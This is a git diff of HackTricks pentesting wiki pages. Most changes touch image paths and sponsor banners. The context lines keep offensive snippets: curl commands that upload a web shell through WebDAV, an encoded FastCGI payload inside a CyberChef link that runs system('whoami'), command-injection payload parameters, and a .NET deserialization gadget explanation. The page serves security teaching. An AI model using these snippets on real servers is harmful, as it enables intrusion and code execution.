+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+
+
diff --git a/network-services-pentesting/pentesting-web/flask.md b/network-services-pentesting/pentesting-web/flask.md
index 6f484846d..0c2d9a095 100644
--- a/network-services-pentesting/pentesting-web/flask.md
+++ b/network-services-pentesting/pentesting-web/flask.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -86,7 +86,7 @@ Command line tool to brute-force websites using cookies crafted with flask-unsig
[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md
index 2597cf435..e2f805fde 100644
--- a/network-services-pentesting/pentesting-web/graphql.md
+++ b/network-services-pentesting/pentesting-web/graphql.md
@@ -48,7 +48,7 @@ With this query you will find the name of all the types being used:
With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database.
-![](<../../.gitbook/assets/image (207).png>)
+![](<../../.gitbook/assets/image (207) (3).png>)
**Errors**
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 635decc44..777af9cea 100644
--- a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -40,7 +40,7 @@ If `==` is used in PHP, then there are unexpected cases where the comparison doe
PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
-![](<../../../.gitbook/assets/image (40) (1).png>)
+![](<../../../.gitbook/assets/image (40).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
index 6ac5e53f0..07c6bfcfa 100644
--- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
@@ -142,9 +142,9 @@ foreach($file_list as $f){
If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](disable\_functions-bypass-php-fpm-fastcgi.md).\
If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**:
-![](<../../../../.gitbook/assets/image (350) (1).png>)
+![](<../../../../.gitbook/assets/image (350).png>)
-![](<../../../../.gitbook/assets/image (349) (1).png>)
+![](<../../../../.gitbook/assets/image (349).png>)
Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.\
Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
index ea85ffe31..df0f43936 100644
--- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
@@ -45,7 +45,7 @@ I'm not sure if this is working in modern versions because I tried once and it d
Using [Gopherus](https://github.com/tarunkant/Gopherus) you can generate a payload to send to the FastCGI listener and execute arbitrary commands:
-![](<../../../../.gitbook/assets/image (351) (1).png>)
+![](<../../../../.gitbook/assets/image (351).png>)
Then, you can grab the urlencoded payload and decode it and transform to base64, \[**using this recipe of cyberchef for example**]\([http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). And then copy/pasting the abse64 in this php code:
@@ -419,7 +419,7 @@ Using the previous function you will see that the function **`system`** is **sti
![](<../../../../.gitbook/assets/image (352).png>)
-![](<../../../../.gitbook/assets/image (353) (1).png>)
+![](<../../../../.gitbook/assets/image (353).png>)
**So, I think that you can only set `disable_functions` via php `.ini` config files and the PHP\_VALUE won't override that setting.**
diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md
index d74ef27b8..d9f3b1aa9 100644
--- a/network-services-pentesting/pentesting-web/put-method-webdav.md
+++ b/network-services-pentesting/pentesting-web/put-method-webdav.md
@@ -1,28 +1,22 @@
# WebDav
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -48,7 +42,7 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every
Output sample:
-![](<../../.gitbook/assets/image (19).png>)
+![](<../../.gitbook/assets/image (19) (1).png>)
This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
@@ -72,15 +66,13 @@ curl -T 'shell.txt' 'http://$ip'
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## IIS5/6 WebDav Vulnerability
@@ -132,24 +124,18 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md
index 93a3483e0..a7898e9b7 100644
--- a/network-services-pentesting/pentesting-web/web-api-pentesting.md
+++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -133,7 +133,7 @@ AutoRepeater Burp Extension: Add a replacement rule
* `Match: v2 (higher version)`
* `Replace: v1 (lower version)`
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -223,7 +223,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
* [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): API\_Fuzzer gem accepts a API request as input and returns vulnerabilities possible in the API.
* [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Tests for race conditions in web applications by sending out a user-specified number of requests to a target URL (or URLs) _simultaneously_, and then compares the responses from the server for uniqueness.
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md
index 323fc2ce0..605104088 100644
--- a/network-services-pentesting/pentesting-web/wordpress.md
+++ b/network-services-pentesting/pentesting-web/wordpress.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -93,7 +93,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -267,7 +267,7 @@ Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa
This is the response when it doesn't work:
-![](<../../.gitbook/assets/image (184).png>)
+![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
@@ -283,7 +283,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -425,7 +425,7 @@ Also, **only install trustable WordPress plugins and themes**.
* **Limit login attempts** to prevent Brute Force attacks
* Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md
index 8feedd2f4..d81e261f5 100644
--- a/pentesting-web/cache-deception.md
+++ b/pentesting-web/cache-deception.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -123,7 +123,7 @@ The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul
Example usage: `wcvs -u example.com`
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -227,7 +227,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md
index 15a867a40..d3c2a07b7 100644
--- a/pentesting-web/clickjacking.md
+++ b/pentesting-web/clickjacking.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -175,7 +175,7 @@ See the following documentation for further details and more complex examples:
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/pentesting-web/command-injection.md b/pentesting-web/command-injection.md
index 6818afdee..273dc6178 100644
--- a/pentesting-web/command-injection.md
+++ b/pentesting-web/command-injection.md
@@ -1,30 +1,22 @@
# Command Injection
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
-
-
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -100,15 +92,13 @@ Here are the top 25 parameters that could be vulnerable to code injection and si
?print={payload}
```
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
### Time based data exfiltration
@@ -174,24 +164,18 @@ powershell C:**2\n??e*d.*? # notepad
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index d805c84c9..900ca9482 100644
--- a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -1,31 +1,26 @@
-
+# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
-# ObjectDataProvider Gadget
+## ObjectDataProvider Gadget
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
+Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
-## **How is this possible**
+### **How is this possible**
The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_).
@@ -43,11 +38,11 @@ Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is ove
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
-![](<../../.gitbook/assets/image (302).png>)
+![](<../../.gitbook/assets/image (302) (1).png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
-If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
+If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
```java
using System.Windows.Data;
@@ -71,12 +66,12 @@ namespace ODPCustomSerialExample
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
-# ExpandedWrapper
+## ExpandedWrapper
-Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_** instance** (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
